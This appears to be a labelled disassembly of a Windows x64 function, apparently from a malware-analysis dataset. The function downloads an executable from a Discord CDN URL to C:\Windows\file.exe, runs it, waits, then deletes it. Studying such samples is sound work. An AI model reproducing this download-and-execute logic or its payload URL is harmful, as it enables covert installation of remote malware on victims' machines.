Function at 0x1400016a0
Capabilities:
Create directory
Create process on windows
Delete file
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x60], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], 0xa
mov ebx, 0xf
mov qword [rbp - 0x58], rbx
movsd xmm0, qword [str.C:Windows]
movsd qword [rbp - 0x70], xmm0
movzx eax, word [0x140004480]
mov word [rbp - 0x68], ax
mov byte [rbp - 0x66], r12b
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov ecx, 0x20
call fcn.140001fe0
mov r13, rax
mov qword [rbp - 0x30], rax
movdqa xmm0, xmmword [0x1400045a0]
movdqu xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [str.C:Windows_file.exe]
movups xmmword [rax], xmm0
movzx ecx, word [0x140004498]
mov word [rax + 0x10], cx
movzx ecx, byte [0x14000449a]
mov byte [rax + 0x12], cl
mov byte [rax + 0x13], r12b
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
mov ecx, 0xc0
call fcn.140001fe0
mov r8, rax
mov qword [rbp - 0x50], rax
movdqa xmm0, xmmword [0x1400045b0]
movdqu xmmword [rbp - 0x40], xmm0
lea rcx, str.https:__cdn.discordapp.com_attachments_1290397078995996713_1292242192236150785_hello_world.exe_ex670305d3is6701b453hm6dec1149ac94b4b3bca0ef2c83fbf2c1725478f0d65b68d22fcb47cedd499fe8
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rax + 0x80]
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rcx]
movups xmmword [rdx], xmm1
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm0
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm1
mov rax, qword [rcx + 0x30]
mov qword [rdx + 0x30], rax
movzx eax, word [rcx + 0x38]
mov word [rdx + 0x38], ax
movzx eax, byte [rcx + 0x3a]
mov byte [rdx + 0x3a], al
mov byte [r8 + 0xbb], r12b
mov r15, qword [rbp - 0x60]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 9
jb 0x140001b3d
lea r14, [rbp - 0x70]
cmp qword [rbp - 0x58], rbx
cmova r14, qword [rbp - 0x70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea rsi, [r15 + 9]
lea rdi, [rsp + 0x70]
cmp rsi, rbx
jbe 0x1400018c9
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000188a
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140001fe0
test rax, rax
je 0x140001a55
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400018c4
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400018a4
mov rdi, r12
jmp 0x1400018c4
cmp rcx, 0x1000
jb 0x1400018bc
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001b43
jmp 0x14000186b
call fcn.140001fe0
mov rdi, rax
mov qword [rsp + 0x70], rdi
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rbx
mov r8, r15
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str._file.exe]
movsd qword [rdi + r15], xmm0
movzx eax, byte [0x140004568]
mov byte [rdi + r15 + 8], al
mov byte [rdi + rsi], 0
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rcx, qword [rbp - 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rbp - 0x70]
call fcn.1400011c0
lea r8, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova r8, qword [rsp + 0x70]
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rbp - 0x10], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp + 0x28], xmm0
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400019db
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp - 0x70]
call fcn.140001430
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001bb0
mov rcx, rax
lea rdx, [0x140001d70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1869f
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140001a61
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a5c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000201c
movdqa xmm0, xmmword [0x140004590]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140001ab9
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001aac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001aac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000201c
movdqa xmm0, xmmword [0x140004590]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
mov edx, 0x20
mov rcx, r13
call fcn.14000201c
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140001b0e
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b09
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000201c
xor eax, eax
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.140001fc0
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001100
int3